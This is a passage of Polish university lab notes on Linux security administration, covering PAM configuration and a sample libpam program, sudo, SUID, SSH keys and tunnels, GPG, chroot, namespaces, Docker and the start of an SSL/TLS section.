pam_time: ograniczenie dostępu według reguł z pliku /etc/security/time.conf.

pam_unix: klasyczna autoryzacja UNIXowa (/etc/passwd, /etc/shadow).

pam_warn: zobacz wyżej.

pam_wheel: uprawnienia roota tylko dla członków grupy wheel.

Przykład pliku konfiguracyjnego /etc/pam.d/su dla programu su

auth		sufficient	pam_rootok.so
# Uncomment the following line to implicitly trust users in the "wheel" group.
#auth		sufficient	pam_wheel.so trust use_uid
# Uncomment the following line to require a user to be in the "wheel" group.
#auth		required	pam_wheel.so use_uid
auth		substack	system-auth
auth		include		postlogin
account		sufficient	pam_succeed_if.so uid = 0 use_uid quiet
account		include		system-auth
password	include		system-auth
session		include		system-auth
session		include		postlogin
session		optional	pam_xauth.so

PAM można używać również we własnych aplikacjach. Popatrzmy na przykład

#include <security/pam_appl.h>
#include <security/pam_misc.h>
#include <stdio.h>
 
static struct pam_conv login_conv = {
  misc_conv,               /* przykładowa funkcja konwersacji z libpam_misc */
  NULL                        /* ewentualne dane aplikacji (,,domknięcie'') */
};
 
void main () {
  pam_handle_t* pamh = NULL;
  int retval;
  char *username = NULL;
 
  retval = pam_start("login", username, &login_conv, &pamh);
  if (pamh == NULL || retval != PAM_SUCCESS) {
    fprintf(stderr, "Error when starting: %d\n", retval);
    exit(1);
  }
 
  retval = pam_authenticate(pamh, 0);  /* próba autoryzacji */
  if (retval != PAM_SUCCESS) {
    fprintf(stderr, "Chyba się nie udało!\n");
    exit(2);
  }
  else
    fprintf(stderr, "Świetnie Ci poszło.\n");
 
  printf("OK\n");  /* rzekomy kod aplikacji */
 
  pam_end(pamh, PAM_SUCCESS);
  exit(0);
}

Po wywołaniu pam_start zmienna pam będzie zawierać dowiązanie do obiektu PAM, który będzie argumentem wszystkich kolejnych wywołań funkcji PAM.

Zmienna pam_conv to struktura zawierająca informacje o funkcji do konwersacji z użytkownikiem -- tu użyliśmy najprostszej bibliotecznej funkcji
misc_conv, można jednak użyć własnej.

Pierwszy argument funkcji pam_start to nazwa aplikacji, potrzebna do
odnalezienia pliku konfiguracyjnego. Żeby nie trzeba było go pisać i instalować (wymaga uprawnień roota) można użyć nazwy innej już skonfigurowanej aplikacji (tutaj login) -- będziemy mieć takie same reguły. Lepiej jednak mieć własną nazwę (np. "moje"), wtedy w katalogu /etc/pam.d powinien istnieć plik o tej nazwie (np. kopia pliku "login"). Pozwoli to używać nazwy tej aplikacji w plikach konfiguracyjnych w /etc/security.

Funkcja pam_authenticate uruchamia ,,motor'' sprawdzania PAM -- usługę auth. Dla pozostałych usług/grup istnieją analogiczne funkcje, szczegóły w podręczniku. Funkcja pam_end po prostu kończy sesję.

Przy kompilacji i linkowaniu należy pamiętać o bibliotekach libpam i
libpam_misc, np.

gcc -o tescik tescik.c -lpam -lpam_misc

Podstawowa biblioteka libpam zawsze jest zainstalowana (w /lib lub /usr/lib), nawet nie warto sprawdzać. Trzeba zapewne doładować ,,development''. Na RedHatopodobnych systemach to pakiet pam-devel, w Debianie (czyli w laboratorium) to libpam0g-dev. Można też załadować libpam-doc jeśli nie ma. W naszej pracowni

apt-get install libpam0g-dev

Trzy podstawowe procedury autentykacji w PAM to:

1. pam_start(): funkcja PAM która powinna być wywołana na początku. Inicjalizuje bibliotekę PAM, czyta plik konfiguracyjny i ładuje potrzebne moduły autentykacji w kolejności podanej w pliku konfiguracyjnym. Zwraca referencję do biblioteki PAM, której należy używać w następnych wywołaniach.

2. pam_end(): ostatnia funkcja PAM, którą powinna wołać aplikacja. Po jej zakończeniu jesteśmy odłączeni od PAM, a cała pamięć PAM zwolniona.

3. pam_authenticate(): interfejs do mechanizmu autoryzacji załadowanych modułów. Wołana przez aplikację najczęśćiej na początku, żeby zidentyfikować użytkownika.

Inne pożyteczne procedury PAM to:

- pam_acct_mgmt(): sprawdza czy konto bieżącego użytkownika jest aktywne.

- pam_open_session(): rozpoczyna sesję.

- pam_close_session(): zamyka bieżącą sesję.

- pam_setcred(): zarządza tokenami uwierzytelniającymi.

- pam_chauthtok(): zmienia żeton identyfikacji (zapewne hasło).

- pam_set_item(): modyfikuje wpis w strukturze stanu PAM.

- pam_get_item(): pobiera podany element stanu PAM.

- pam_strerror(): zwraca komunikat dla błędu.

Nagłówki tych procedur są w security/pam_appl.h.

Funkcja konwersacji obsługuje współpracę modułu z aplikacją, dotarczając
modułowi metody odpytywania uż←tkownika o nazwę, hasło itp.
Jej sygnatura to:

int conv_func (int, const struct pam_message**,
               struct pam_response**, void*);

Zwykle używa się bibliotecznej funkcji misc_conv.

Materiały:

Główne strona projektu to http://www.linux-pam.org/. Zawiera dokumentację i link do repozytorium kodu, m.in. A.G. Morgan, T. Kukuk ,,The Linux-PAM System Administrators' Guide''

Andrew G. Morgan ,,Pluggable Authentication Modules for Linux'' Linux Journal #44 (12/1997), http://www.linuxjournal.com/article/2120. Artykuł twórcy implementacji dla Linuksa, zawiera m.in. przykład programu używającego PAM.

Stara strona dystrybucyjna wszystkich materiałów dla Linuksa (http://www.kernel.org/pub/linux/libs/pam/) ma obecnie znaczenie historyczne. Ogólnie na sieci jest nieco materiałów przestarzałych, np. z roku 2001. Zostaliście ostrzeżeni!

Można też zajrzeć do http://wazniak.mimuw.edu.pl

A poza tym u nas na stronie SO:
tekst Pani Barbary Domagały

Rozszerzanie i zawężanie uprawnień zwykłych użytkowników w Linuksie

Cele:
- nakładanie ograniczeń na zasoby wykorzystywane przez użytkownika,
- rozszerzanie uprawnień użytkowników, aby mogli wykonywać uprzywilejowane akcje bez znajomości hasła administratora.

1. Nakładanie ograniczeń

Ograniczenia na wykorzystanie zasobów przez użytkowników ustawia administrator. Najlepiej, jeśli robimy to używając PAM (daje on możliwość ustawienia większego repertuaru ograniczeń).

Ustawianiem ograniczeń zajmuje się moduł pam_limits.so --- zwykle jest on wstępnie skonfigurowany i wystarczy do pliku /etc/security/limits.conf wpisać odpowiednie ograniczenia. Wiersze w tym pliku mają postać

<zakres>  <typ>  <zasób>  <wartość>

Zakres podaje, kogo dotyczy ograniczenie, może to być:

- nazwa użytkownika,
- nazwa grupy poprzedzona znakiem @,
- skrót notacyjny * oznaczający wszystkich (poza rootem).

Typ określa, czy ograniczenie jest łagodne (soft), czy surowe (hard). Użytkownicy mogą poleceniem ulimit podwyższać ograniczenia łagodne.

Zasób podaje nazwę ograniczenia, np. fsize to rozmiar pliku, nofiles to liczba otwartych plików, maxlogins to liczba jednoczesnych zalogowań, a nproc to liczba procesów.

Przykład: aby ograniczyć liczbę procesów użytkownika guest, w pliku konfiguracyjnym umieszczamy

guest  soft  nproc  40
guest  hard  nproc  80

Do oglądania i modyfikowania ograniczeń przez użytkowników służy polecenie wewnętrzne shella ulimit, dlatego nie należy czytać

man ulimit

(bo on bywa czasem dziwaczny), lecz poszukać w tym, co daje

man bash

(albo nasz inny ulubiony shell). Na pewno warto użyć

ulimit -a

żeby zobaczyć wszystkie swoje ograniczenia i opcje przestawiające je.

2. Chwilowe rozszerzanie uprawnień użytkowników

Pewne operacje wymagają uprawnień posiadanych tylko przez niektórych użytkowników (np. tylko przez administratora). Jeśli chcemy pozwolić innym na ich wykonywanie (np. sterowanie podsystemem drukowania), to mamy dwie możliwości:

a) Rozdać im hasło roota, aby mogli się nań zalogować (na innego użytkownika można się chwilowo zalogować pisząc

su root

lub

su - root

Ta możliwość wydaje się jednak (przynajmniej większości administratorów) mało atrakcyjna. Można użyć modułu pam_wheel w pliku su i ograniczyć użycie polecenia su tylko do grupy wheel.

b) Na szczęście istnieje polecenie sudo. Nie wymaga ono znajomości hasła roota, lecz jedynie własnego, użytkownik musi jednak być sudoersem.

Informacje o sudoersach znajdują się w pliku konfiguracyjnym /etc/sudoers. Nie powinno się go edytować bezpośrednio, lecz użyć polecenia visudo.

Na początku pliku można umieścić aliasy, zawsze jest dostępny alias ALL. Wiersze w zasadniczej części pliku mają postać

<użytkownik>  <komputer>=(<efektywny-użytkownik>)  <programy>

na przykład

dobo  ALL=(ALL)  ALL

powoduje, że użytkownik dobo ma na wszystkich objętych tym plikiem komputerach wszelkie prawa (ale nie zna hasła roota). Aby ograniczyć to do lokalnego komputera i uprawnień root można napisać

dobo  localhost=  ALL

Można ograniczyć działanie sudo tylko do niektórych poleceń, sudoer może poznać swoje możliwości przez

sudo -l

3. Mechanizm SUID i SGID

Niektóre aplikacje (np. passwd) wymagają uprzywilejowanego dostępu do chronionych zasobów, takich jak pliki. Oczywiście nie ma sensu czynić wszystkich sudoersami. Dlatego plik wykonywalny (czyli program) może mieć ustawiony specjalny bit powodujący, że wykonuje się on z prawami
swojego właściciela lub grupy, a nie tego, kto go uruchomił.

Pliki takie nazywa się SUID (od Set UID) bądź SGID (Set GID). Generalnie mechanizm ten jest niebezpieczny, bo nie jest dostępna zbiorcza informacja o takich programach w naszym systemie (ale polecenie find ,,poleca się łaskawym klientom'').

Ustawianie takiego bitu w programach mających możliwość wykonania dowolnego innego programu (shelle, programy w C wywołujące system(...)) świadczy o dużej wrodzonej życzliwości właściciela programu --- należy go trzymać z dala od administrowania systemem.

Materiały:

man sudo
man sudoers

http://wazniak.mimuw.edu.pl/index.php?title=Bezpiecze%C5%84stwo_system%C...

Zadania ćwiczebne na tempo i dykcję

1. Załóż użytkownika burak.

2. Zabroń mu logowania się kiedyś tam.

3. Pozwól użytkownikowi guest na zdalne logowanie się tylko z sąsiedniego komputera.

4. Ustaw temu użytkownikowi maksymalny rozmiar pliku na <n> kilobajtów.

Laboratorium 7 i 8: ssh, pgp

Kryptograficzna ochrona komunikacji i poczty na poziomie aplikacji

Patryk Czarnik
BSK 2009/2010, ostatnia aktualizacja MIchał Kutwin 2020/2021

Zobacz także

Temat opisują także scenariusze 7 i 8 na Ważniaku. Zwróć uwagę szczególnie
na niewymienione w bieżącym tekście polecenia programu gpg.

Przeczytaj (żeby wiedzieć jakie są możliwości, ale niekoniecznie znać na pamięć składnię i opcje):

man ssh, man ssh-keygen, man sshd_config, man gpg.

Warto przejrzeć (i wyłapać najważniejsze hasła) także:

man ssh_config, man ssh-agent, man scp, man rsync, man sftp, a także SSH i PGP na Wikipedii.

SSH

SSH (Secure Shell) to protokół zabezpieczający komunikację w warstwie aplikacji, którego podstawowym zastosowaniem jest zdalna praca przez konsolę tekstową. Może on być jednak używany także do innych celów, m.in. zdalnego używania aplikacji graficznych X Windows, bezpiecznego przesyłania plików, montowania zdalnych katalogów i tunelowania dowolnych połączeń TCP.

Zabezpieczenie komunikacji polega na:

• uwierzytelnieniu serwera przez klienta: przy pierwszym połączeniu z danym serwerem wyświetla się pytanie o akceptację klucza publicznego serwera - zwykle wpisujemy wtedy "yes"; przy każdym kolejnym połączeniu weryfikuje się czy serwer używa tej samej pary kluczy, tzn. czy serwer posiada klucz prywatny pasujący do znanego nam klucza publicznego,
• uwierzytelnieniu użytkownika przez serwer (różne metody),
• szyfrowaniu przesyłanych danych,
• podpisywaniu i weryfikacji każdego przesyłanego pakietu (ochrona przed podmianą danych oraz wykrywanie błędów transmisji).

Używać będziemy implementacji OpenSSH, której podstawowe pakiety to zwykle
openssh (instaluje go automatycznie każda znana mi dystrybucja) oraz
openssh-server (to już często trzeba doinstalować samodzielnie).

UWIERZYTELNIENIE UŻYTKOWNIKA

SSH oferuje kilka metod uwierzytelnienia, z najpopularniejszymi „password” (na podstawie hasła), „keyboard interactive” (bardziej ogólna metoda, w praktyce też najczęściej sprowadzająca się do podania hasła) oraz „public key” opisana w dalszej części.

Uwierzytelnienie za pomocą hasła

Używanie uwierzytelnienia opartego o hasło jest o tyle wygodne, że nie wymaga specjalnej konfiguracji. Natomiast obarczone jest wieloma wadami z punktu widzenia bezpieczeństwa oraz wygody:

• hasło jest narażone na ataki oparte o jego zgadnięcie: atak siłowy („brute force”), słownikowy, „socjalny” (data urodzin, imię psa itp.), podsłuchanie tego samego hasła używanego w niechronionym protokole, podglądanie klawiatury (kamery!), itp.;
• ponieważ hasło jest przesyłane (w postaci zaszyfrowanej), atak typu „man in the middle” (klient łączy się z nieprawdziwym serwerem, np. po przejęciu przez atakującego kontroli nad DNS czy routerem, a użytkownik zbyt pochopnie akceptuje tożsamość serwera) prowadzi do poznania hasła przez atakującego, który następnie może połączyć się z prawdziwym serwerem;
• konieczność wielokrotnego wpisywania hasła w przypadku używania aplikacji takich jak cvs/svn/git.

Uwierzytelnienie oparte o klucze (metoda "public key")

Generujmy parę kluczy (programem ssh-keygen), klucz prywatny pozostaje po stronie klienta (w pliku .ssh/id_rsa lub .ssh/id_dsa), a klucz publiczny jest wgrywany na serwer. Klucze publiczne są zapisywane na serwerze jeden po drugim w pliku .ssh/authorized_keys na koncie tego użytkownika, na które chcemy się logować; do dodania klucza na serwer można użyć także narzędzia ssh-copy-id (po stronie klienta).

Standardowo używa się osobnego klucza prywatnego dla każdego komputera (i konta), z którego łączymy się ze światem, oraz wgrywa się odpowiadające klucze publiczne na te serwery i konta, do których chcemy się logować. Klucz prywatny można zabezpieczyć hasłem, co utrudni użycie klucza w przypadku przejęcia pliku z kluczem.

„Losowo” wygenerowany klucz nie jest narażony na ataki słownikowe, a atak siłowy, ze względu na długość klucza, wymaga ogromnych nakładów. Protokół SSH nie przesyła klucza prywatnego nawet w postaci zaszyfrowanej, co zabezpiecza przed atakiem "man in the middle". Wadą tego rodzaju uwierzytelnienia jest konieczność przechowywania plików z kluczami i chronienia plików z kluczami prywatnymi.

Zarządzaniem kluczami podczas jednej sesji lokalnej może zajmować się program ssh-agent, do którego często systemowy interfejs użytkownika (Gnome, KDE itp.) oferuje nakładki graficzne. Można też używać tekstowego polecenia ssh-add, aby na czas sesji zapamiętać otwarty klucz. Uwalnia to użytkownika od konieczności wielokrotnego wpisywania hasła odblokowującego klucz.

KONFIGUROWANIE SERWERA

OpenSSH pozwala dość dokładnie skonfigurować serwer i dostosować go do wymagań bezpieczeństwa, wygody i innych. Możliwe jest m.in. stosowanie ograniczeń na dostępne algorytmy, sposoby uwierzytelnienia, liczbę otwartych sesji itp. w zależności od użytkownika i hosta, z którego się łączy. Można także wymóc stosowanie uwierzytelnienia i limitów opartych o PAM (poprzednie zajęcia). Standardowo konfiguracja serwera zapisywana jest w pliku /etc/ssh/sshd_config.
Szczegóły: man sshd_config.

KONFIGUROWANIE KLIENTA

Większość opcji dla klienta SSH można podać bezpośrednio w wierszu poleceń, ale dla wygody można także zapisać je w pliku konfiguracyjnym, w razie potrzeby uzależniając konfigurację od serwera docelowego. Konfiguracja klienta SSH zapisywana jest w plikach /etc/ssh/ssh_config (domyślna dla systemu) i ~/.ssh/config (dla użytkownika).
Szczegóły: man ssh oraz man ssh_config

BEZPIECZNE PRZESYŁANIE PLIKÓW

Służą do tego protokoły i odpowiadające im aplikacje scp (najprostsza), sftp i rsync (bardziej zaawansowane), wewnętrznie używające protokołu SSH.

Cechą charakterystyczną sftp jest zbiór poleceń analogicznych do poleceń FTP, natomiast cechą charakterystyczną rsync jest różnicowe przesyłanie plików – sprawdzanie (poprzez porównywanie skrótów), które pliki lub bloki większych plików uległy zmianie i przesyłanie tylko tych zmienionych. Oba polecenia pozwalają przesyłać całe drzewa katalogów z możliwością filtrowania po rodzaju pliku, przenoszenia uprawnień itp.

Uwaga: SFTP jest niezależnie zdefiniowanym protokołem (funkcjonalnie wzorowanym na FTP), a nie jest tylko tunelowaniem zwykłego FTP w połączeniu SSH (ani tym bardziej SSL).

Pośrednio z SSH do transferu plików mogą korzystać także cvs, svn czy git.

MONTOWANIE KATALOGÓW

Wszyscy znamy (a przynajmniej powinniśmy) mechanizm NFS do tworzenia sieciowych systemów plików - montowania lokalnie katalogów serwera plików. Zwykły użytkownik może osiągnąć to samo: zamontować sobie katalog z innego komputera. Jedyny warunek: trzeba mieć konto na ,,serwerze''.

Do takiego ad hoc montowania służy program sshfs. Do zamontowania zdalnego
katalogu używamy polecenia

sshfs komputer:katalog punkt-montowania

Punkt montowania to katalog na lokalnym komputerze (najlepiej pusty ;-). Pierwszy argument to katalog na zdalnym komputerze w typowej notacji używanej przez scp itp. Trzeba mieć do niego odpowiednie prawa.

Od tego momentu cała struktura tego katalogu jest widoczna lokalnie. Polecenie akceptuje większość opcji ssh i jescze trochę, szczegóły jak zwykle w man.

Aby odmontować taki katalog piszemy

fusermount -u punkt-montowania

To polecenie zdradza rodzaj użytego ,,oszustwa'': korzystamy z modułu jądra FUSE (Filesystem in USErspace).

TUNELE

Bezpieczne tunelowanie połączeń TCP ogromnie zwiększa gamę zastosowań SSH. Istnieją dwa rodzaje tuneli ze względu na kierunek:

• lokalne (opcja -L): połączenia do podanego lokalnego portu klienta są przekazywane na serwer SSH i stamtąd łączymy się z docelowym serwerem, np.

  ssh -L 1234:www.w3.org:80 students.mimuw.edu.pl

  spowoduje otwarcie na lokalnej maszynie portu 1234 do nasłuchiwania, a połączenie do tego portu zostanie przekazane (w tunelu) na students i stamtąd otwarte (już bez ochrony) do www.w3.org na port 80.

• zdalne (opcja -R): połączenia do podanego portu na serwerze SSH są przekazywane na maszynę lokalną i z niej łączymy się z docelowym adresem, np.

  ssh -R 1234:localhost:8080 students.mimuw.edu.pl

  spowoduje, że na students zostanie otwarty do nasłuchiwania port 1234, a połączenia przychodzące do tego portu zostaną (w tunelu) przekazane na lokalną maszynę (z której wywoływaliśmy ssh) i tam (bo napisaliśmy localhost) zostaną skierowane do portu 8080.

  Uwaga: domyślna konfiguracja SSH (także na students) powoduje, że porty otwarte na serwerze nie są widoczne z zewnątrz, a jedynie poprzez lokalny interfejs loopback („localhost”); można to zmienić w konfiguracji serwera za pomocą opcji GatewayPorts.

Można także tworzyć w konfiguracji „urządzenia tunelowe” czy tunelować protokół SOCKS, w co się już nie wgłębiamy.

źródło obrazka: http://jakilinux.org/aplikacje/sztuczki-z-ssh-2-tunele/

PGP i GPG

OpenPGP to otwarty standard IETF oparty o wcześniejszy, obecnie częściowo komercyjny, produkt PGP (Pretty Good Privacy). Standard ten opisuje metody zabezpieczania poczty elektronicznej i plików. Podstawą jest użycie kryptografii klucza publicznego, a gdy przyjrzeć się szczegółom, okaże się, że używana jest także kryptografia klucza sekretnego ("szyfrowanie symetryczne"), bezpieczne funkcje haszujące ("skrót kryptograficzny"), kompresja oraz konwersja radix64.

Dwie najważniejsze funkcje to podpisywanie wiadomości (kluczem prywatnym nadawcy) i szyfrowanie wiadomości (kluczem publicznym odbiorcy). Do weryfikacji podpisu potrzebny jest klucz publiczny nadawcy, a do odszyfrowania wiadomości klucz prywatny odbiorcy. Podpisywanie i szyfrowanie mogą być stosowane niezależnie od siebie.

Przyjrzyjmy się operacjom nieco bardziej szczegółowo.
Podpisywanie polega na:

• wyliczeniu skrótu z całej wiadomości,
• zaszyfrowaniu skrótu kluczem prywatnym nadawcy,
• dołączeniu do wiadomości zaszyfrowanego skrótu.

Szyfrowanie polega na:

• wygenerowaniu (możliwie) losowego klucza sesji,
• zaszyfrowaniu ciała wiadomości szyfrem symetrycznym używając klucza sesji; zazwyczaj przed szyfrowaniem wiadomość jest kompresowana, a po szyfrowaniu zamieniana na tekst konwersją radix64,
• dołączeniu do wiadomości klucza sesji zaszyfrowanego kluczem publicznym odbiorcy; w przypadku wielu odbiorców nie ma potrzeby szyfrowania całej wiadomości osobno dla każdego z nich, osobno szyfrowany (kluczem publicznym każdego odbiorcy) jest jedynie klucz sesji.

Popularną otwartą implementacją standardu jest GnuPG. Pod Linuksem dostępne są polecenia: gpg i gpg2, którymi można wykonywać operacje na plikach (także zapisanych wiadomościach) i zarządzać kluczami.

Sama aplikacja może być także używana do wykonywania na plikach pojedynczych operacji – składników standardu PGP, z czego użyteczne może być np. szyfrowanie plików na dysku czy weryfikacja spójności plików pobranych z sieci (wykorzystywane przez menedżery pakietów rpm i deb).

Aby wygenerować klucz piszemy

gpg --gen-key

Inne popularne polecenia opisano w Ważniaku, a wszystkie w man gpg.

PGP W POCZCIE ELEKTRONICZNEJ

Użycie OpenPGP w poczcie elektronicznej (do czego został stworzony) jest wygodniejsze gdy użyjemy klientów poczty wyposażonych we wsparcie dla tego standardu. Przykładem może być Thunderbird z dodatkiem Enigmail. Pozwala on nie tylko na podpisywanie, weryfikację, szyfrowanie i odszyfrowanie wiadomości, ale także na zarządzanie kluczami PGP/GPG zainstalowanymi na naszym komputerze.

S/MIME

Standardem podobnym w idei i zastosowaniach do PGP jest S/MIME. Szyfrowanie i podpisywanie odbywa się na tej samej zasadzie. Różnica dotyczy zarządzania certyfikatami (wizytówki z kluczami publicznymi, często same podpisane innym kluczem): w S/MIME muszą być uwierzytelnione przez instytucję uwierzytelniającą i tworzą drzewo zaufania w modelu PKI (public key infrastructure), natomiast w PGP można używać certyfikatów wygenerowanych lokalnie, których wartość może być oceniana poprzez tzw. sieć zaufania (Web of Trust).
Schemat PKI zostanie zaprezentowany na przyszłych zajęciach na przykładzie protokołu SSL/TLS.

sudo apt-get update
sudo apt-get install openssh-server rsync sshfs

service ssh restart

Laboratorium 9 i 10: chroot, ssl

1. Bezpieczne środowisko uruchamiania aplikacji

Jeśli aplikacja (np. serwer http) jest uruchamiana pod systemem operacyjnym, w szczególności np. z uprawnieniami roota, w przypadku umiejętnego wykorzystania błędu atakujący może uzyskać bardzo szerokie uprawnienia, m.in. nieograniczony dostęp do systemu plików.
Aby uniknąć takich zagrożeń:

• należy uruchamiać aplikację z minimalnymi niezbędnymi uprawnieniami, w szczególności jako użytkownik inny niż root. Takie podejście jest szeroko stosowane, np. serwer http apache może być uruchomiony jako użytkownik inny niż root (zwykle http lub www);
• jeśli to możliwe, trzeba zadbać, aby proces miał dostęp do ograniczonych zasobów systemowych.

1.1. Ograniczenie przestrzeni aktywności procesu - chroot

W systemie Linux można uruchomić dowolny proces (i jego procesy potomne) ze zmienionym katalogiem głównym za pomocą polecenia chroot (oraz wywołanie systemowego chroot()). Uruchomiony w ten sposób proces nie może powrócić do rzeczywistego katalogu głównego w systemie plików. Można więc przygotować inny niż główny katalog zawierający pliki niezbędne dla aplikacji np. bibliotki, czy pliki konfiguracyjne. Zwykle trzeba odwzorować część struktury katalogów i plików konfiguracyjnych, np. /etc, /usr/lib/, /var, /proc. Mechanizm chroot może być też przydatny dla celów testowania oprogramowania lub np. zrealizowania środowiska programistycznego ze specyficznym zestawem bibliotek i narzędzi. Do zalet należy także zaliczyć prostotę użycia i brak konieczności modyfikacji jądra systemu operacyjnego.

1.1.1. Przykład użycia polecenia chroot

Jeśli docelowy katalog został przygotowany, można uruchomić proces, np.:

chroot /przygotowany_katalog /usr/sbin/apache2 -k start

1.1.2. Wady chroot

Sam w sobie chroot nie posiada mechanizmów limitowania zasobów używanych przez proces, użycie go nie zabezpiecza więc przed atakami DoS.

Uruchomienie polecenia chroot wymaga uprawnień roota.

Chroot nie zmienia UID i GID procesu. Jeśli aplikacja sama nie zmieni UID, będzie wykonywana z prawami roota.

Istnieją sposoby, które pozwalają procesowi uruchomionemu z prawami roota, wyjście poza określony poleceniem chroot katalog -
opisano je w lekturze uzupełniajacej http://linux-vserver.org/Secure_chroot_Barrier.

Można przy okazji zacytować fragment listu Alana Coxa: "(...) chroot is not and never has been a security tool." :)

1.1.3 Przydatne triki

Jeżeli chcemy mimo wszystko przygotować katalog chroot, możemy ułatwić sobie życie na dwa sposoby. Po pierwsze można przygotować minimalną instalację jakiejś dystrybucji aby uniknąć zgadywania które pliki są potrzebne do pracy naszego programu; dotyczy to zwłaszcza bibliotek korzystających z wielu plików pomocniczych. Trzeba jednak pamiętać, aby nie umieszczać w systemie zbędnych programów z bitem SUID które mogłyby być wykorzystane do "ucieczki" z chroota. Warto też pamiętać o poleceniu

mount --bind /proc /przygotowany_katalog/proc
mount --rbind /dev /przygotowany_katalog/dev

pierwsza wersja powoduje, że pliki z systemu plików (lub jakiegoś katalogu z systemu plików) widocznego jako /proc będą też widoczne w katalogu /przygotowany_katalog/proc. Nie dotyczy to jednak katalogów podmonotwanych wewnątrz proc, np. /proc/sys/fs/binfmt_misc. Natomiast druga wersja obejmuje także katalogi podmontowane wewnątrz bindowanego katalogu.

1.2. Kontentery

Naturalnym roszerzeniem chroota jest objęcie ograniczeniami także innych zasobów niż system plików. W idealnym świecie uruchomiony w takim ulepszonym chroocie - czyli kontenerze - program powinien zachowywać się tak, jakby był uruchomiony na maszynie wirtualnej na tym samym komputerze i z oddzielną kopią tego samego jądra. Jednak ponieważ naprawdę nie uruchamiamy nowego jądra, to nie występuje narzut spowodowany koniecznością obsługi wywołań systemowych przez dwa jądra, wirtualizacją urządzeń sprzętowych itp. Możemy także, jeżeli tego potrzebujemy, osłabić izolację w jakimś miejscu, aby programy bardziej efektywnie współpracowały. Ograniczeniem jest konieczność używania takiego samego jądra we wszystkich używanych kontenerach i systemie bazowym.

W Linuksie implementacja kontenerów opiera się na uogólnieniu pojącia chroot do pojęcia namespace. Są one następujące i pozwalają izolować:

       Namespace   Constant          Isolates
       Cgroup      CLONE_NEWCGROUP   Cgroup root directory
       IPC         CLONE_NEWIPC      System V IPC, POSIX message queues
       Network     CLONE_NEWNET      Network devices, stacks, ports, etc.
       Mount       CLONE_NEWNS       Mount points
       PID         CLONE_NEWPID      Process IDs
       User        CLONE_NEWUSER     User and group IDs
       UTS         CLONE_NEWUTS      Hostname and NIS domain name

Tabelka pochodzi z man namespace(7). Tę stronę podręcznika systemowego należy przeczytać, a strony zależne przejrzeć. Należy także zapoznać się z możliwościami nakładania ograniczeń na procesy za pomocą grup cgroups(7).

Na podstawie tej infrastuktury zbudowanych jest kilka środowisk dających wygodne narzędzia do wirtualizacji, są to. np. Linux Containers (LXC), OpenVZ, Docker.

1.3. Docker

Docker składa się z procesu serwera, który odpowiada za faktyczne tworzenie kontenerów, ich modyfikacje, itp. oraz klienta, którego funkcją jest zapewnianie możliwości korzystania z serwera. Aby skonfigurować nowy kontener, tworzymy w pustym katalogu plik o nazwie Dockerfile z przykładową zawartością:

FROM debian:buster
# O ile chcemy, aby proces działał w środowisku Debian 10
MAINTAINER Kto To Wie
 
RUN apt-get update && apt-get install -y apache2 
 
EXPOSE 80
 
CMD apachectl -D FOREGROUND

pierwsza linia oznacza obraz, z którego korzystamy jako bazowego. Docker ma centralny rejestr obrazów, z których można korzystać przy tworzeniu kontenerów, są w nim w szczególności podstawowe instalacje różnych dystrybucji. Aby uniezależnić się od twórców Dockera, można też uruchomić własny taki serwer.

Linia z wpisem MAINTAINER jest wymagana, ale ma charakter informacyjny. Następnie mamy (być może kilka) linii z poleceniami RUN, opisujące polecenia potrzebne do przygotowania kontenera. Aby nie wykonywać zbyt często tych samych poleceń Docker zapamiętuje stan kontenera po każdej linijce z pliku Dockerfile w sposób analogiczny do snapshotów zwykłych maszyn wirtualnych.

Polecenie EXPOSE 80 udostępnia światu port 80. Polecenie CMD określa komendę, która będzie służyła do faktycznego uruchomienia kontenera - w tym przypadku jest to serwer apache. Gdy podany proces zakończy działanie docker zatrzyma wszystkie procesy w kontenerze

Aby uruchomić nasz kontener wchodzimy do odpowiedniego katalogu i używamy polecenia:

docker build .
docker container run <id_obrazu> lub krócej
docker run <id_obrazu>

Polecenie docker build . zbuduje obraz na podstawie pliku dockerfile (w tym przypadku na Debianie 10, ale np. z dołączonymi naszymi plikami), polecenie docker run id_obrazu uruchomi proces apache2 w nowym kontenerze w środowisku naszego obrazu.

Polecenie

docker images 
lub
docker image ls

pozwala sprawdzić id obrazu.

Jeśli chcemy szybko uruchomić proces w nowym kontenerze (w środowisku Debian 10) bez pisania dockerfile'a, możemy napisać

docker run -t -i debian:buster /bin/bash

Polecenie docker run wykona wtedy kilka kroków:

• Ściągnie obraz debiana bustera, jeśli wcześniej nie był ściągnięty za pomocą polecenia docker pull debian:buster
• Utworzy nowy kontener.
• Nadmontuje nad obrazem warstwę rw.
• Utworzy adres IP
• Uruchomi nowy proces w środowisku określonym przez obraz/warstwę rw

Kilka przykładów operacji na kontenerach:

docker container ls -a (listowanie wszystkich)
docker container run <id_obrazu> (uruchamia proces w nowym kontenerze, w środowisku obrazu o danym id)
docker container stop <id_kontenera> (zatrzymywanie kontenera)
docker container start <id_kontenera> (uruchamianie zatrzymanego kontenera)
docker container rm <id_kontenera> (usuwanie)
docker container prune (usuwanie wszystkich zatrzymanych)

1.3.1 Ciąg dalszy

Docker oraz plik Dockerfile mają jeszcze wiele możliwości, których nie poznaliśmy. Co ciekawe, od wersji Docker Engine 19.03, istnieje możliwość pracy w trybie nie roota, w tej wersji cecha ta jest uważana za eksperymentalną. Do używania w tym trybie zalecana jest najnowsza wersja 20.10. Pełna dokumentacja Dockera jest dostepna pod adresem https://docker.com.

2. SSL

2.1. Wersje i nazewnictwo

SSL to standard ochrony warstwy aplikacji wykonany wraz z implementacją przez Netscape Communications Corporation. Powstały wersje SSL v1, v2, v3. Od 1996 roku standard jest rozwijany przez grupe roboczą IETF na bazie SSL v3 jako TLS (Transport Layer Security), powstały wersje standardu TLS 1.0 - RFC 2246, TLS 1.1 - RFC 4346, TLS 1.2 - RFC 5246, TLS 1.3 - RFC 8446.
SSL v1, v2, v3, TLS 1.0, 1.1 są uznawane za niebezpieczne. W tych wersjach istnieją udokumentowane podatności na ataki różnych typów.

2.2. Implementacje

Najbardziej popularna to OpenSSL (https://www.openssl.org/). Zawiera implementację standardów SSL v2, v3, TLS 1.0-1.3. OpenSSL to biblioteka wraz z zestawem narzędzi (przede wszystkim program openssl). Alternatywna implementacja: GnuTLS - TLS 1.1-1.3 i SSL v3 (https://www.gnu.org/software/gnutls/).

2.3. Koncepcja działania

SSL/TLS zapewnia zestawienie szyfrowanego i uwierzytelnionego kanału dla warstwy aplikacji. W modelu ISO/OSI SSL/TLS znajduje się w
warstwie prezentacji, zatem ponad warstwą transportu (TCP/UDP), ale poniżej warstwy aplikacji.

2.3.1. Przebieg nawiązywania połączenia

